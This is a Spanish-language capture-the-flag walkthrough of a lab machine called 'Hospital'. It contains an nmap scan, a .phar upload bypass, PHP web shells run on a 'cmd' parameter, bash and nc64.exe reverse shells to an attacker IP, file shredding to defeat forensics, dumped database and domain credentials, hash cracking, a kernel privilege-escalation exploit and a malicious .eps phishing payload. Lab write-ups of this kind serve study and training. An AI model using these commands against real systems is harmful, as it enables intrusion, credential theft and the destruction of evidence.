Hospital

Escaneo inicial:
โ File: targeted
โโโโโโโโผโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
1 โ # Nmap 7.95 scan initiated Tue Jun 10 00:13:55 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -p 22,53,88,135,139,389,443,445,464,593,636,1801,2103,2105,2107,2179,3268,3269,3389,5985,6404,6406,6407,
โ 6409,6613,6633,8080,9389,18622 -oN targeted 10.10.11.241
2 โ Nmap scan report for 10.10.11.241
3 โ Host is up (0.16s latency).
4 โ
5 โ PORT STATE SERVICE VERSION
6 โ 22/tcp open ssh OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux; protocol 2.0)
7 โ | ssh-hostkey:
8 โ | 256 e1:4b:4b:3a:6d:18:66:69:39:f7:aa:74:b3:16:0a:aa (ECDSA)
9 โ |_ 256 96:c1:dc:d8:97:20:95:e7:01:5f:20:a2:43:61:cb:ca (ED25519)
10 โ 53/tcp open domain Simple DNS Plus
11 โ 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-06-10 07:14:04Z)
12 โ 135/tcp open msrpc Microsoft Windows RPC
13 โ 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
14 โ 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hospital.htb0., Site: Default-First-Site-Name)
15 โ | ssl-cert: Subject: commonName=DC
16 โ | Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
17 โ | Not valid before: 2023-09-06T10:49:03
18 โ |_Not valid after: 2028-09-06T10:49:03
19 โ 443/tcp open ssl/http Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.0.28)
20 โ |_http-title: Hospital Webmail :: Welcome to Hospital Webmail
21 โ |_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
22 โ | tls-alpn:
23 โ |_ http/1.1
24 โ | ssl-cert: Subject: commonName=localhost
25 โ | Not valid before: 2009-11-10T23:48:47
26 โ |_Not valid after: 2019-11-08T23:48:47
27 โ |_ssl-date: TLS randomness does not represent time
28 โ 445/tcp open microsoft-ds?
29 โ 464/tcp open kpasswd5?
30 โ 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
31 โ 636/tcp open ldapssl?
32 โ | ssl-cert: Subject: commonName=DC
33 โ | Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
34 โ | Not valid before: 2023-09-06T10:49:03
35 โ |_Not valid after: 2028-09-06T10:49:03
36 โ 1801/tcp open msmq?
37 โ 2103/tcp open msrpc Microsoft Windows RPC
38 โ 2105/tcp open msrpc Microsoft Windows RPC
39 โ 2107/tcp open msrpc Microsoft Windows RPC
40 โ 2179/tcp open vmrdp?
41 โ 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hospital.htb0., Site: Default-First-Site-Name)
42 โ | ssl-cert: Subject: commonName=DC
43 โ | Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
44 โ | Not valid before: 2023-09-06T10:49:03
45 โ |_Not valid after: 2028-09-06T10:49:03
46 โ 3269/tcp open globalcatLDAPssl?
47 โ | ssl-cert: Subject: commonName=DC
48 โ | Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
49 โ | Not valid before: 2023-09-06T10:49:03
50 โ |_Not valid after: 2028-09-06T10:49:03
51 โ 3389/tcp open ms-wbt-server Microsoft Terminal Services
52 โ | ssl-cert: Subject: commonName=DC.hospital.htb
53 โ | Not valid before: 2025-06-08T17:01:32
54 โ |_Not valid after: 2025-12-08T17:01:32
55 โ | rdp-ntlm-info:
56 โ | Target_Name: HOSPITAL
57 โ | NetBIOS_Domain_Name: HOSPITAL
58 โ | NetBIOS_Computer_Name: DC
59 โ | DNS_Domain_Name: hospital.htb
60 โ | DNS_Computer_Name: DC.hospital.htb
61 โ | DNS_Tree_Name: hospital.htb
62 โ | Product_Version: 10.0.17763
63 โ |_ System_Time: 2025-06-10T07:15:04+00:00
64 โ 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
65 โ |_http-server-header: Microsoft-HTTPAPI/2.0
66 โ |_http-title: Not Found
67 โ 6404/tcp open msrpc Microsoft Windows RPC
68 โ 6406/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
69 โ 6407/tcp open msrpc Microsoft Windows RPC
70 โ 6409/tcp open msrpc Microsoft Windows RPC
71 โ 6613/tcp open msrpc Microsoft Windows RPC
72 โ 6633/tcp open msrpc Microsoft Windows RPC
73 โ 8080/tcp open http Apache httpd 2.4.55 ((Ubuntu))
74 โ | http-title: Login
75 โ |_Requested resource was login.php
76 โ | http-cookie-flags:
77 โ | /:
78 โ | PHPSESSID:
79 โ |_ httponly flag not set
80 โ 9389/tcp open mc-nmf .NET Message Framing
81 โ 18622/tcp open msrpc Microsoft Windows RPC
82 โ Service Info: Host: DC; OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows
83 โ
84 โ Host script results:
85 โ | smb2-time:
86 โ | date: 2025-06-10T07:15:07
87 โ |_ start_date: N/A
88 โ |_clock-skew: mean: 7h00m00s, deviation: 0s, median: 7h00m00s
89 โ | smb2-security-mode:
90 โ | 3:1:1:
91 โ |_ Message signing enabled and required
92 โ
93 โ Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
94 โ # Nmap done at Tue Jun 10 00:16:08 2025 -- 1 IP address (1 host up) scanned in 133.70 seconds
Grepeamos por http para ver que serviciso de web tenemos corriendo:
cat targeted -l java | grep "http"

Viendo una web:

Investigando de que trata esta aplicacion encontramos lo siguiente:
Roundcube
Roundcube es un cliente de correo para ver los mensajes de correo a travรฉs de una pรกgina web, pudiendo acceder desde cualquier navegador con acceso a internet. Desde รฉl es posible realizar todas las operaciones necesarias para gestionar los correos e incluso usarlo como agenda de contactos y calendario.
Por el puerto 8080 que es otra web entramos a ver que contiene:

Creamos una cuenta:

Al ingresar nos pide que subamos un archivo pero no sabemos que extensiones son validas para ello usamos Burp Suite:
Burp Suite - File Upload - Extensiones
Cuando intentamos subir cualquier archivo a una aplicaciรณn web usando Burp Suite, podemos notar que algunos archivos no son aceptados debido a las restricciones de la aplicaciรณn. A continuaciรณn, exploraremos cรณmo manejar los archivos de carga en Burp Suite, enfocรกndonos en las extensiones de archivo y cรณmo podemos determinar cuรกles son vรกlidas o no.
Paso 1: Subida de Archivos y Redirecciรณn al Error
Al intentar subir un archivo con la extensiรณn .php, la aplicaciรณn no lo acepta y redirige al siguiente enlace de error:

Al tener una externsion .php no lo acepta y nos redirige a LOCATION: failed.php
para ver que estension son validas lo mandairesmoa al intrider agreando las extensiones y despues
grep extract le damos al add para q nos interesa una columna donde no srespoerende el failed.php el cmapo location q nos vale si ese campo es susces o failes por ahi filtraremsos
paso 2: Anรกlisis de Respuestas con grep
y extract
Una vez que tenemos las respuestas de los intentos de carga, utilizamos grep para filtrar las respuestas y extraer la informaciรณn relevante. Nos interesa especรญficamente el campo Location en las cabeceras HTTP, que nos indicarรก si la carga fue exitosa o fallida:
Si la respuesta es "failed.php", significa que la carga del archivo ha fallado.
Si la respuesta no es "failed.php", significa que la carga fue exitosa.


Como resultado:

Primero, al ejecutar el comando con
feroxbuster
, estรกs buscando rutas o directorios potenciales donde podrรญas intentar subir archivos. Esto es รบtil para identificar directorios o scripts que podrรญan permitirte cargar archivos.
feroxbuster -u http://hospital.htb:8080/ -w /usr/share/wordlists/dirb/common.txt

Probaremos si podemos subirle un archivo de prueba con
phps
:
<?php
echo "Hola Perรบ";
?>
Pero no se puede con esa extension por mas no salga sucesfull!
Subida de archivos .phar
:
.phar
:Crea un archivo PHP (por ejemplo,
neuvo.phar
) que contenga el cรณdigo deseado:

RCE FOR PHP
Configuramos el codigo para un RCE:
Uso de shell_exec()
:
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
Uso de system()
:
<?php
echo "<pre>" . system($_GET['cmd']) . "</pre>";
?>
Configuraciรณn actual de PHP en el servidor:
<?php
phpinfo();
?>
Al probar estas vulnerabilidades de RCE, ejecutaremos el script phpinfo()
para obtener informaciรณn del sistema, ya que los comandos system()
y shell_exec()
no estรกn funcionando. Es probable que estas funciones estรฉn deshabilitadas en la configuraciรณn del servidor para evitar la ejecuciรณn remota de comandos.
Lo ejecutamos:

phpinfo()
proporciona una valiosa informaciรณn para un pentester al realizar un reconocimiento del entorno de PHP, lo que les permite identificar vulnerabilidades y configuraciones inseguras que podrรญan ser explotadas.RCE - EXPLOIT
<?php
$dangerous_functions = array("exec", "passthru", "system", "shell_exec", "popen", "proc_open", "pcntl_exec");
foreach ($dangerous_functions as $f){
if (function_exists($f)){
echo "\n[+] " . $f . " - EXISTE";
}
}
?>
Resultado:

Podemos ejecutar comandos con la funcionalidad de popen
:

Y funcionรณ seรฑores:

Bash Shell
bash -c "bash -i >%26 /dev/tcp/10.10.16.3/443 0>%261"
Tenemos ejecuciรณn remota de comandos como www-data
:

Tรฉcnica de eliminaciรณn
Una vez adentro en uploads eliminamos el archivo definitivamente para que ni con tรฉcnicas forenses se pueda recuperar:
shred -zun 50 -v cmd.phar
Miraremos los archivos de configuraciรณn:

MySQL - Config
Conexiรณn a la base de datos utilizando las credenciales obtenidas:
mysql -uroot -p'my$qls3rv1c3!' -e "SHOW DATABASES;"
mysql -uroot -p'my$qls3rv1c3!' -e "USE hospital; SHOW TABLES;"
mysql -uroot -p'my$qls3rv1c3!' -e "SELECT * FROM hospital.users;"
Se encontrรณ un hash de admin:

Crackeando el hash de admin:
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Pero no se obtuvo nada al respecto.
Versiรณn del Kernel 5.19.0-35-generic

Exploit Encontrado para las Vulnerabilidades CVE-2023-2640 y CVE-2023-32629

# Ejecutar el script del exploit
chmod +x exploit.sh
./exploit.sh
Subimos nuestros privilegios:

En el
/etc/shadow
se encontraron hashes:

Intentamos crakearlos: el
$6$
es unSHA-512
modo1800
:
๎ฐ hashcat -a 0 -m 1800 hashes.txt /usr/share/wordlists/rockyou.txt -O

Con esa contraseรฑa podemos ingresar por
ssh
pero es lo mismo que estuvismos en antes asi que buscamos en otro lado:
Como miramos en el escaneo se observo otro puerto http por el puerto 443

Podemos ingresar con el usuario de
drwilliams
y contraseรฑaqwe123!@#

Validaremos si el usuario es valido con netexec
:
netexec smb 10.10.11.241 -u "drwilliams" -p 'qwe123!@#' --shares

Enumeramos usuarios por rpcclient
:
rpcclient -U 'drwilliams%qwe123!@#' 10.10.11.241

AS-REP Roasting - Con credenciales
impacket-GetUserSPNs 'hospital.htb/drwilliams:qwe123!@#'
impacket-GetUserSPNs
: Es una herramienta de la suite Impacket, que permite interactuar con Active Directory (AD) y obtener informaciรณn, como los SPNs.hospital.htb
: El nombre del dominio o de la red que se estรก atacando.drwilliams:qwe123!@#
: Especifica el usuariodrwilliams
y la contraseรฑaqwe123!@#
para autenticarse en el dominio.
Sigamos segรบn la pagina web:

Debemos crear un archivo en formato
.eps
de manera que, al ser abierto por otra persona, ejecute un cรณdigo. En este caso, crearemos una reverse shell incrustando un cรณdigo malicioso que nos permitirรก interactuar con la mรกquina de forma remota
Ejecutaremos el siguiente script:
Nos pide un payload lo cual le bridamos el nuestro:
Le enviamos por mensaje:

Lo cual recibimos la conexiรณn:

SUBIR PRIVILEGIOS
icacls htdocs

Usuarios tiene permisos de lectura, ejecuciรณn y escritura sobre la carpeta htdocs
. Este es un riesgo si alguien obtiene acceso a la cuenta de usuario estรกndar en el sistema, ya que podrรญan modificar archivos web importantes.
Creamos nuestro archivo para ejecutar comandos:

Y al pasarlo a la maquina victima se vio lo siguiente:

En este punto ya podemos ejecutar comandos:
netcat - nc.exe
https://hospital.htb/malici.php?cmd=C:\\Temp\\binary\\nc64.exe -e cmd 10.10.16.3 443
WHOAMI

Last updated